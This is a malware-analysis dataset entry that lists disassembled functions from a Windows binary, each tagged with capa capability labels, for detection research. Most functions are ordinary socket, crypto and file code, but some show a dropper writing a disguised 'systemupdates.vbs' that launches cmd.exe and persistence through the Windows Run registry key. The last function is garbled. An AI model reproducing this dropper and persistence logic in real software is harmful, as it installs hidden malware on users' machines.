joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4239a0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
cmp dword [esp + 0xc], 0x1f
mov eax, dword [esp + 8]
push ebx
mov eax, dword [eax]
mov dword [esp + 4], eax
mov ebx, dword [eax + 0x130]
jne 0x423aeb
push ebp
push edi
lea ebp, [ebx + 0x1cb0]
lea edi, [ebx + 0x1eb0]
mov dword [edi], ebp
cmp ebp, edi
jae 0x4239d7
mov byte [ebp], 0xff
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x4239e2
mov byte [eax], 0xfa
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x4239ed
mov byte [eax], 0x1f
inc dword [edi]
movzx eax, word [ebx + 0x1ca8]
push esi
mov esi, dword [sym.imp.WS2_32.dll_htons]
push eax
call esi
movzx eax, ax
mov dword [esp + 0x1c], eax
movzx eax, word [ebx + 0x1caa]
push eax
call esi
mov ecx, dword [esp + 0x1c]
movzx edx, ax
mov eax, dword [edi]
cmp eax, edi
jae 0x423a20
mov byte [eax], cl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x423a2a
mov byte [eax], ch
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x423a34
mov byte [eax], dl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x423a3e
mov byte [eax], dh
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x423a49
mov byte [eax], 0xff
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x423a54
mov byte [eax], 0xf0
inc dword [edi]
mov eax, dword [edi]
mov esi, dword [esp + 0x10]
mov dword [ebx + 0x1eb4], eax
sub eax, ebp
sub eax, 2
mov dword [edi], ebp
push eax
lea eax, [ebx + 0x1cb2]
push eax
push 0x3e
push esi
call fcn.00423240
mov edi, dword [esp + 0x28]
add esp, 0x10
push 0
push 3
push ebp
push dword [edi + 0x198]
call dword [sym.imp.WS2_32.dll_send]
mov ebp, dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jns 0x423aaa
call ebp
push eax
push str.Sending_data_failed___d_
push esi
call fcn.00411410
add esp, 0xc
push 4
lea eax, [ebx + 0x1cb3]
push eax
push edi
call fcn.00423890
add esp, 0xc
lea eax, [ebx + 0x1cb7]
push 0
push 2
push eax
push dword [edi + 0x198]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x423ae8
call ebp
push eax
push str.Sending_data_failed___d_
push esi
call fcn.00411410
add esp, 0xc
pop esi
pop edi
pop ebp
pop ebx
pop ecx
ret
Function at 0x424a10
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x88
mov eax, dword [0x467200]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push ebp
mov ebp, dword [esp + 0x94]
lea eax, [esp + 8]
push esi
push edi
push eax
mov esi, dword [ebp + 0x600]
lea eax, [esp + 0x18]
mov edi, dword [ebp]
push eax
mov dword [esp + 0x18], 0x80
mov eax, dword [esi + 0x154]
push 0
add eax, 4
push eax
push dword [esi + 0x15c]
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [esi + 0x148], 0
mov dword [esi + 0x14c], eax
jne 0x424a96
push dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
lea eax, [esi + 0xc8]
push eax
call fcn.0043f480
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov dword [esi + 0x148], eax
mov ebx, dword [esi + 0x14c]
cmp ebx, 4
jge 0x424ad1
push str.Received_too_short_packet
push edi
call fcn.00411410
add esp, 8
mov dword [esi + 0xc], 7
xor eax, eax
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043f1b6
add esp, 0x88
ret
mov ecx, dword [esi + 0x15c]
movzx eax, byte [ecx]
shl ax, 8
movzx edx, ax
movzx eax, byte [ecx + 1]
or edx, eax
mov dword [esi + 0xc], edx
add edx, 0xfffffffd
cmp edx, 3
ja case.default.0x424af6
jmp dword [edx*4 + 0x424bf8]
cmp ebx, 4
jle case.0x424af6.4
movzx eax, byte [ecx + 2]
shl ax, 8
movzx edx, ax
movzx eax, byte [ecx + 3]
or edx, eax
movzx eax, word [esi + 0x40]
inc eax
and eax, 0xffff
cmp eax, edx
jne case.0x424af6.4
lea eax, [ebx - 4]
push eax
lea eax, [ecx + 4]
push eax
push 1
push ebp
call fcn.004112f0
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x424b54
push 5
push esi
call fcn.00425350
add esp, 8
mov eax, ebx
jmp 0x424ab8
mov eax, dword [esi + 0x14c]
sub eax, 4
cdq
add dword [edi + 0x90], eax
adc dword [edi + 0x94], edx
push dword [edi + 0x94]
push dword [edi + 0x90]
push edi
call fcn.0041a420
jmp 0x424bcf
mov edx, ecx
movzx eax, byte [edx + 2]
shl ax, 8
movzx ecx, ax
movzx eax, byte [edx + 3]
or ecx, eax
lea eax, [edx + 4]
push eax
push 0x4567e8
push edi
mov dword [esi + 8], ecx
call fcn.00411530
jmp 0x424bcf
lea eax, [ebx - 2]
push eax
lea eax, [ecx + 2]
push eax
push esi
call fcn.004247a0
add esp, 0xc
test eax, eax
je case.0x424af6.4
jmp 0x424ab8
push str.Internal_error:_Unexpected_packet
push 0x45c38c
push edi
call fcn.00411410
add esp, 0xc
push ebp
call fcn.0041a790
add esp, 4
test eax, eax
je 0x424ab6
push 5
push esi
call fcn.00425350
add esp, 8
mov eax, 0x2a
jmp 0x424ab8
Function at 0x42d560
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x88
mov eax, dword [0x467200]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x98]
lea eax, [esp + 0xc]
push edi
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x14], 0x80
mov ebp, dword [esi + 0x19c]
or edi, 0xffffffff
mov ebx, dword [esi]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x42d5c2
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x80
push eax
lea eax, [esp + 0x18]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
push ebp
push esi
call fcn.00411dc0
add esp, 8
cmp edi, 0xffffffff
jne 0x42d5e6
push str.Error_accept__ing_server_connect
push ebx
call fcn.00411410
add esp, 8
mov eax, 0x1e
jmp 0x42d63e
push str.Connection_accepted_from_server_n
push ebx
call fcn.00411530
push 1
mov byte [esi + 0x388], 0
push edi
mov dword [esi + 0x19c], edi
call fcn.00433e40
mov byte [esi + 0x1a9], 1
add esp, 0x10
mov eax, dword [ebx + 0x1b8]
test eax, eax
je 0x42d63c
push 1
push edi
push dword [ebx + 0x1bc]
call eax
add esp, 0xc
test eax, eax
je 0x42d63c
push esi
call fcn.0042daf0
add esp, 4
mov eax, 0x2a
jmp 0x42d63e
xor eax, eax
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043f1b6
add esp, 0x88
ret

Function at 0x42fbc0
Capabilities:
Check http status code

Disassembly:
mov ecx, dword [esp + 8]
mov eax, 0x51eb851f
imul ecx
push ebx
sar edx, 5
push esi
mov eax, edx
xor esi, esi
push edi
mov edi, dword [esp + 0x10]
shr eax, 0x1f
add eax, edx
mov ebx, dword [edi]
cmp eax, 2
je 0x42fbfa
push str.Couldnt_set_desired_mode
push ebx
call fcn.00411410
add esp, 8
lea eax, [esi + 0x11]
pop edi
pop esi
pop ebx
ret
cmp ecx, 0xc8
je 0x42fc11
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push ebx
call fcn.00411530
add esp, 0xc
mov eax, dword [esp + 0x18]
cmp eax, 0x13
jne 0x42fc29
push edi
call fcn.0042f940
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebx
ret
cmp eax, 0x14
jne 0x42fc3d
push edi
call fcn.0042e9b0
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebx
ret
cmp eax, 0x15
jne 0x42fc55
push 0xd
push 1
push edi
call fcn.0042f4b0
add esp, 0xc
mov esi, eax
pop edi
pop esi
pop ebx
ret
cmp eax, 0x16
jne 0x42fc69
push 0xe
push 1
push edi
call fcn.0042f4b0
add esp, 0xc
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x4316e0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x467200]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.00442aaf
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x431745
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x431745
lea eax, [esp]
push eax
call dword [0x467030]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.0043f1b6
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor eax, eax
xor ecx, esp
call fcn.0043f1b6
add esp, 0x108
ret
Function at 0x434d30
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov eax, dword [esi]
cmp dword [eax + 4], 3
jne 0x434d5b
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x434d4a
pop edi
xor eax, eax
pop esi
ret
push dword [eax + 8]
push dword [esp + 0x18]
push 1
push dword [esp + 0x1c]
call ecx
jmp 0x434d90
cmp dword [esi + 8], 0
jne 0x434d7e
push 0x456a60
push dword [eax + 8]
call fcn.0043dd78
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x434d7e
pop edi
or eax, 0xffffffff
pop esi
ret
push dword [esi + 8]
push dword [esp + 0x18]
push 1
push dword [esp + 0x1c]
call fcn.0043df52
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x434db2
mov eax, dword [esi + 8]
test eax, eax
je 0x434dac
push eax
call fcn.0043e84c
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, edi
pop edi
pop esi
ret

Function at 0x438450
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov esi, ebx
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x438460
sub esi, ecx
lea ebp, [esi + esi]
push ebp
call dword [0x467024]
mov edi, eax
add esp, 4
test edi, edi
jne 0x438487
lea eax, [edi + 0x1b]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor ecx, ecx
test esi, esi
je 0x4384a0
lea ecx, [ecx]
mov al, byte [ecx + ebx]
mov byte [edi + ecx*2], al
mov byte [edi + ecx*2 + 1], 0
inc ecx
cmp ecx, esi
jb 0x438490
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [esp + 0x28]
test eax, eax
je 0x43851a
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x8002
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x43850e
push 0
push ebp
push edi
push dword [esp + 0x1c]
mov dword [esp + 0x28], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [esp + 0x1c]
push eax
push esi
push 2
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi + 0x10], 0
push edi
mov byte [esi + 0x14], 0
call dword [0x467028]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x438540
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
sub esp, 0x24
mov eax, dword [0x467200]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov esi, dword [esp + 0x30]
lea eax, [esp + 4]
push edi
mov edi, dword [esp + 0x38]
push 0xf0000000
push 1
push 0
push 0
push eax
mov dword [esp + 0x20], 8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4385e5
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 0
push eax
xorps xmm0, xmm0
movdqu xmmword [esp + 0x18], xmm0
push edi
mov word [esp + 0x1c], 0x208
mov dword [esp + 0x20], 0x6601
mov dword [esp + 0x24], 8
call fcn.00438650
lea eax, [esp + 0x28]
push 8
push eax
call fcn.0043b940
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x14
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x4385f8
push eax
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
xor al, al
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0043f1b6
add esp, 0x24
ret
mov ecx, dword [esp + 0x30]
push dword [esp + 0xc]
mov eax, dword [ecx]
mov dword [esi], eax
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
lea eax, [esp + 0x10]
push eax
push esi
push 0
push 0
push 0
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [esp + 0x28]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0043f1b6
add esp, 0x24
ret
Function at 0x43d050
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x467024]
mov edi, eax
add esp, 4
test edi, edi
jne 0x43d077
pop edi
pop esi
pop ecx
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x1c]
mov dword [edi + 8], eax
push ebp
cmp ebx, dword [esi + 0x10]
jbe 0x43d0bf
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [esp + 0x24]
push dword [edi + 4]
call eax
mov ebp, dword [edi + 8]
push dword [edi + 4]
add ebp, dword [esi + 0xc]
mov eax, dword [esi + 8]
push ebp
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov dword [esp + 0x20], ebx
jmp 0x43d0c3
mov ebp, dword [esp + 0x1c]
push dword [edi + 4]
mov eax, dword [esi]
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [esp + 0x28]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x43d123
mov dword [esp + 0x10], eax
mov ebx, eax
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x18], al
lea eax, [esp + 0x18]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x24], al
lea eax, [esp + 0x24]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
dec ebx
jne 0x43d0e4
mov ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0x10]
jae 0x43d157
jmp 0x43d130
mov eax, dword [esi + 4]
push 1
push 0x460c86
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x460c87
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x43d130
pop ebp
pop ebx
mov eax, edi
pop edi
pop esi
pop ecx
ret
Function at 0x44d802
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x467200]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00448146
mov dword [ebp - 0x14], eax
cmp dword [0x469b20], esi
jne 0x44d8f5
push 0x800
push esi
push 0x46255c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x44d882
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x44d9d5
push esi
push esi
push 0x46255c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x44d9d5
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x44d9d5
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x469b20], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x469b24], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x469b28], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x469b30], eax
test eax, eax
je 0x44d8f2
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x469b2c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x44d91a
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x44d90d
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x44d92f
push 4
pop eax
jmp 0x44d9d7
cmp dword [ebp - 0x14], esi
je 0x44d92f
push dword [0x469b20]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x44d914
mov eax, dword [0x469b2c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x44d98d
cmp dword [0x469b30], edi
je 0x44d98d
push eax
call ebx
push dword [0x469b30]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x44d98d
test eax, eax
je 0x44d98d
call ecx
test eax, eax
je 0x44d982
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x44d982
test byte [ebp - 8], 1
jne 0x44d98d
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x44d9bd
mov eax, dword [0x469b24]
cmp eax, edi
je 0x44d9ba
push eax
call ebx
test eax, eax
je 0x44d9ba
call eax
mov esi, eax
test esi, esi
je 0x44d9ba
mov eax, dword [0x469b28]
cmp eax, edi
je 0x44d9ba
push eax
call ebx
test eax, eax
je 0x44d9ba
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x469b20]
call ebx
test eax, eax
je 0x44d9d5
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x44d9d7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043f1b6
mov esp, ebp
pop ebp
ret
Function at 0x455310
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x1208
call fcn.00442bd0
push ebx
mov ebx, ecx
call fcn.00455610
cmp eax, 1
jne 0x4554ed
push esi
push 0x208
lea eax, [esp + 0xc]
push 0
push eax
call fcn.0043f340
mov edx, 0x46af20
add esp, 0xc
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x455347
push edi
lea edi, [esp + 0xc]
sub edx, esi
add edi, 0xfffffffe
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x455360
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._systemupdates.vbs
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x455381
lea edi, [esp + 0xc]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x455395
mov ecx, edx
lea eax, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push ebp
mov ecx, edx
and ecx, 3
push 0x46869c
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.0043d30a
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x4554dd
push 0x1000
lea eax, [esp + 0x21c]
push 0
push eax
call fcn.0043f340
mov edx, str.Dim_objShell_nSet_objShell__WScript.CreateObject___WScript.Shell____nobjShell.Run____cmd.exe____C___
add esp, 0xc
mov esi, edx
lea ebx, [ebx]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4553f0
lea edi, [esp + 0x218]
sub edx, esi
add edi, 0xfffffffe
jmp 0x455410
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x455410
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
lea esp, [esp]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x455430
lea edi, [esp + 0x218]
sub ebx, esi
add edi, 0xfffffffe
jmp 0x455450
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x455450
mov ecx, ebx
mov edx, str._____0__true_nSet_objShell__Nothing
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x455471
lea edi, [esp + 0x218]
sub edx, esi
add edi, 0xfffffffe
jmp 0x455490
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x455490
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4554b4
sub ecx, edx
lea eax, [esp + 0x218]
push ebp
sar ecx, 1
push ecx
push 2
push eax
call fcn.0043e188
push ebp
call fcn.0043e84c
add esp, 0x14
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1208
ret
mov eax, 1
pop ebx
add esp, 0x1208
ret

Function at 0x455500
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x455516
test al, 0x10
jne 0x455516
mov eax, 1
ret
xor eax, eax
ret
Function at 0x455530
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x414
push esi
push edi
push 0x410
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.0043f340
push 0x468594
lea eax, [esp + 0x1c]
push 0x208
push eax
call fcn.0043e784
push esi
lea eax, [esp + 0x28]
push 0x208
push eax
call fcn.0043e606
push 0x4685f4
lea eax, [esp + 0x34]
push 0x208
push eax
call fcn.0043e606
add esp, 0x30
lea eax, [esp + 8]
push 0
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
neg esi
sbb esi, esi
inc esi
je 0x4555f6
lea ecx, [esp + 0xc]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4555c4
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [esp + 0x10]
push eax
push 1
push 0
push edi
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
neg esi
sbb esi, esi
inc esi
mov eax, dword [esp + 8]
test eax, eax
je 0x455605
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
add esp, 0x414
ret

Function at 0x4557d0
Capabilities:
Terminate process

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [0x46af1c]
mov edx, 1
xor ebp, ebp
mov dword [esp + 0x14], edx
mov ebx, edx
mov ecx, esi
mov al, byte [esi]
mov byte [esp + 0xf], al
test al, al
je 0x455806
cmp al, 0x2c
jne 0x4557fa
inc edx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x4557f5
mov dword [esp + 0x14], edx
lea eax, [edx*4]
push eax
call fcn.0043d278
mov ecx, eax
add esp, 4
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x10], ecx
mov dword [eax], ecx
test ecx, ecx
je 0x45589b
cmp byte [esp + 0xf], 0
push edi
mov edi, esi
je 0x455853
cmp byte [edi], 0x2c
jne 0x45584c
push ebx
call fcn.0043d278
mov ecx, dword [esp + 0x18]
add esp, 4
mov dword [ecx + ebp*4], eax
test eax, eax
je 0x4558a2
xor ebx, ebx
inc ebp
inc edi
inc ebx
cmp byte [edi], 0
jne 0x455830
push ebx
call fcn.0043d278
mov ebx, dword [esp + 0x18]
add esp, 4
mov dword [ebx + ebp*4], eax
test eax, eax
je 0x4558a2
cmp byte [esi], 0
mov eax, dword [ebx]
je 0x45588f
xor edx, edx
mov cl, byte [esi]
cmp cl, 0x2c
je 0x455880
test cl, cl
je 0x455880
mov byte [eax], cl
inc eax
jmp 0x455889
add edx, 4
mov byte [eax], 0
mov eax, dword [edx + ebx]
inc esi
cmp byte [esi], 0
jne 0x455870
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push 1
call fcn.0043ecb3
push 1
call fcn.0043ecb3
int3
Function at 0x40b580
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub eax, 0x78b7ebe3
and cl, byte [ebx + 0x1903c42]
rcl byte [eax - 0x4d98f615]
mov dl, 0x2a
sahf
rcr dword [esp + edx*2 - 0x5a], 1